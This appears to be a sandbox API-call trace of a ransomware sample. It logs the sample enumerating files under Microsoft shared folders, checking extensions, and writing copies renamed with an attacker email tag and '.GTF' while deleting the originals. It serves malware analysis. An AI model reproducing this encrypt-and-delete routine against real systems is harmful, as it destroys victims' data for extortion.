	[0088.181] lstrlenW (lpString=".dbf") returned 4
	[0088.181] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0088.181] lstrlenW (lpString=".1cd") returned 4
	[0088.181] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0088.181] lstrlenW (lpString=".jpg") returned 4
	[0088.181] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.181] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0088.181] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0088.181] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0088.182] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=9728) returned 1
	[0088.182] CloseHandle (hObject=0x384) returned 1
	[0088.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20
	[0088.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.182] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0088.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0088.182] lstrlenW (lpString=".doc") returned 4
	[0088.182] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.182] lstrlenW (lpString=".docx") returned 5
	[0088.182] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0088.182] lstrlenW (lpString=".pdf") returned 4
	[0088.182] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.182] lstrlenW (lpString=".xls") returned 4
	[0088.182] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.182] lstrlenW (lpString=".xlsx") returned 5
	[0088.182] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0088.182] lstrlenW (lpString=".ppt") returned 4
	[0088.182] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0088.182] lstrlenW (lpString=".zip") returned 4
	[0088.182] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.182] lstrlenW (lpString=".rar") returned 4
	[0088.182] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.183] lstrlenW (lpString=".bz2") returned 4
	[0088.183] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.183] lstrlenW (lpString=".7z") returned 3
	[0088.183] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0088.183] lstrlenW (lpString=".dbf") returned 4
	[0088.183] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0088.183] lstrlenW (lpString=".1cd") returned 4
	[0088.183] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0088.183] lstrlenW (lpString=".jpg") returned 4
	[0088.183] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0088.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0088.183] lstrlenW (lpString=".doc") returned 4
	[0088.183] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.183] lstrlenW (lpString=".docx") returned 5
	[0088.183] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0088.328] lstrlenW (lpString=".pdf") returned 4
	[0088.331] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.331] lstrlenW (lpString=".xls") returned 4
	[0088.331] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.331] lstrlenW (lpString=".xlsx") returned 5
	[0088.331] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0088.331] lstrlenW (lpString=".ppt") returned 4
	[0088.331] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0088.336] lstrlenW (lpString=".zip") returned 4
	[0088.336] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.336] lstrlenW (lpString=".rar") returned 4
	[0088.336] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.336] lstrlenW (lpString=".bz2") returned 4
	[0088.336] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.336] lstrlenW (lpString=".7z") returned 3
	[0088.336] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0088.337] lstrlenW (lpString=".dbf") returned 4
	[0088.337] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0088.337] lstrlenW (lpString=".1cd") returned 4
	[0088.337] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0088.337] lstrlenW (lpString=".jpg") returned 4
	[0088.337] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.337] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0088.337] lstrlenW (lpString="IpsMigrationPlugin.dll.mui") returned 26
	[0088.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0088.869] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=2560) returned 1
	[0088.869] CloseHandle (hObject=0x390) returned 1
	[0088.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui")) returned 0x20
	[0088.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.870] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0088.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0088.870] lstrlenW (lpString=".doc") returned 4
	[0088.870] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.870] lstrlenW (lpString=".docx") returned 5
	[0088.870] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0088.870] lstrlenW (lpString=".pdf") returned 4
	[0088.870] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.870] lstrlenW (lpString=".xls") returned 4
	[0088.870] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.870] lstrlenW (lpString=".xlsx") returned 5
	[0088.870] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0088.870] lstrlenW (lpString=".ppt") returned 4
	[0088.870] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0088.870] lstrlenW (lpString=".zip") returned 4
	[0088.870] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.870] lstrlenW (lpString=".rar") returned 4
	[0088.870] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.870] lstrlenW (lpString=".bz2") returned 4
	[0088.870] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.870] lstrlenW (lpString=".7z") returned 3
	[0088.870] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0088.870] lstrlenW (lpString=".dbf") returned 4
	[0088.870] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0088.870] lstrlenW (lpString=".1cd") returned 4
	[0088.871] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0088.871] lstrlenW (lpString=".jpg") returned 4
	[0088.871] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0088.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0088.871] lstrlenW (lpString=".doc") returned 4
	[0088.871] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0088.871] lstrlenW (lpString=".docx") returned 5
	[0088.871] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0088.871] lstrlenW (lpString=".pdf") returned 4
	[0088.871] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0088.871] lstrlenW (lpString=".xls") returned 4
	[0088.871] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0088.871] lstrlenW (lpString=".xlsx") returned 5
	[0088.871] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0088.871] lstrlenW (lpString=".ppt") returned 4
	[0088.871] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0088.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0088.871] lstrlenW (lpString=".zip") returned 4
	[0088.871] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0088.871] lstrlenW (lpString=".rar") returned 4
	[0088.871] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0088.871] lstrlenW (lpString=".bz2") returned 4
	[0088.871] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0088.871] lstrlenW (lpString=".7z") returned 3
	[0088.871] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0088.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0088.872] lstrlenW (lpString=".dbf") returned 4
	[0088.872] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0088.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0088.872] lstrlenW (lpString=".1cd") returned 4
	[0088.872] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0088.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0088.872] lstrlenW (lpString=".jpg") returned 4
	[0088.872] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0088.872] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0088.872] lstrlenW (lpString="IPSEventLogMsg.dll") returned 18
	[0088.872] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0088.875] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=2560) returned 1
	[0088.875] CloseHandle (hObject=0x37c) returned 1
	[0088.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll")) returned 0x20
	[0088.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69
	[0088.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69
	[0088.876] lstrlenW (lpString=".doc") returned 4
	[0088.876] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.876] lstrlenW (lpString=".docx") returned 5
	[0088.876] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0088.876] lstrlenW (lpString=".pdf") returned 4
	[0088.876] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.876] lstrlenW (lpString=".xls") returned 4
	[0088.876] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.876] lstrlenW (lpString=".xlsx") returned 5
	[0088.876] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0088.876] lstrlenW (lpString=".ppt") returned 4
	[0088.876] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69
	[0088.876] lstrlenW (lpString=".zip") returned 4
	[0088.876] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.876] lstrlenW (lpString=".rar") returned 4
	[0088.876] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.876] lstrlenW (lpString=".bz2") returned 4
	[0088.876] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.876] lstrlenW (lpString=".7z") returned 3
	[0088.876] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll") returned 69
	[0088.876] lstrlenW (lpString=".dbf") returned 4
	[0088.876] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.928] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.928] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.928] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.929] GetLastError () returned 0x0
	[0088.929] ReadFile (in: hFile=0x37c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0088.953] WriteFile (in: hFile=0x378, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0089.237] ReadFile (in: hFile=0x37c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x68268, lpOverlapped=0x0) returned 1
	[0089.251] WriteFile (in: hFile=0x378, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x68270, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x68270, lpOverlapped=0x0) returned 1
	[0089.261] ReadFile (in: hFile=0x37c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.261] WriteFile (in: hFile=0x378, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0xea, lpOverlapped=0x0) returned 1
	[0089.261] SetEndOfFile (hFile=0x378) returned 1
	[0089.262] CloseHandle (hObject=0x378) returned 1
	[0089.262] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.262] SetEndOfFile (hFile=0x37c) returned 1
	[0089.266] CloseHandle (hObject=0x37c) returned 1
	[0089.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0089.266] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll")) returned 1
	[0089.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0089.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0089.267] lstrlenW (lpString=".doc") returned 4
	[0089.267] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0089.267] lstrlenW (lpString=".docx") returned 5
	[0089.267] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1
	[0089.267] lstrlenW (lpString=".pdf") returned 4
	[0089.267] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0089.267] lstrlenW (lpString=".xls") returned 4
	[0089.267] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0089.267] lstrlenW (lpString=".xlsx") returned 5
	[0089.267] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1
	[0089.267] lstrlenW (lpString=".ppt") returned 4
	[0089.267] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0089.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0089.267] lstrlenW (lpString=".zip") returned 4
	[0089.267] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0089.267] lstrlenW (lpString=".rar") returned 4
	[0089.267] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0089.267] lstrlenW (lpString=".bz2") returned 4
	[0089.267] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0089.267] lstrlenW (lpString=".7z") returned 3
	[0089.267] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0089.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0089.267] lstrlenW (lpString=".dbf") returned 4
	[0089.267] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0089.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0089.267] lstrlenW (lpString=".1cd") returned 4
	[0089.267] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0089.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0089.267] lstrlenW (lpString=".jpg") returned 4
	[0089.267] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0089.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0089.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0089.268] lstrlenW (lpString=".doc") returned 4
	[0089.268] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0089.268] lstrlenW (lpString=".docx") returned 5
	[0089.268] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1
	[0089.268] lstrlenW (lpString=".pdf") returned 4
	[0089.268] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0089.268] lstrlenW (lpString=".xls") returned 4
	[0089.268] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0089.268] lstrlenW (lpString=".xlsx") returned 5
	[0089.268] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1
	[0089.268] lstrlenW (lpString=".ppt") returned 4
	[0089.268] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0089.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0089.268] lstrlenW (lpString=".zip") returned 4
	[0089.268] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0089.268] lstrlenW (lpString=".rar") returned 4
	[0089.268] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0089.268] lstrlenW (lpString=".bz2") returned 4
	[0089.268] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0089.268] lstrlenW (lpString=".7z") returned 3
	[0089.268] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0089.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0089.268] lstrlenW (lpString=".dbf") returned 4
	[0089.268] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0089.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0089.268] lstrlenW (lpString=".1cd") returned 4
	[0089.268] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0089.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0089.268] lstrlenW (lpString=".jpg") returned 4
	[0089.268] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0089.269] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0089.269] lstrlenW (lpString="VGX.dll") returned 7
	[0089.269] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0089.731] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=987136) returned 1
	[0089.738] CloseHandle (hObject=0x384) returned 1
	[0089.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll")) returned 0x20
	[0089.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.739] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0089.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0089.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0089.739] lstrlenW (lpString=".doc") returned 4
	[0089.739] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0089.739] lstrlenW (lpString=".docx") returned 5
	[0089.739] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1
	[0089.739] lstrlenW (lpString=".pdf") returned 4
	[0089.739] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0089.739] lstrlenW (lpString=".xls") returned 4
	[0089.739] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0089.739] lstrlenW (lpString=".xlsx") returned 5
	[0089.739] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1
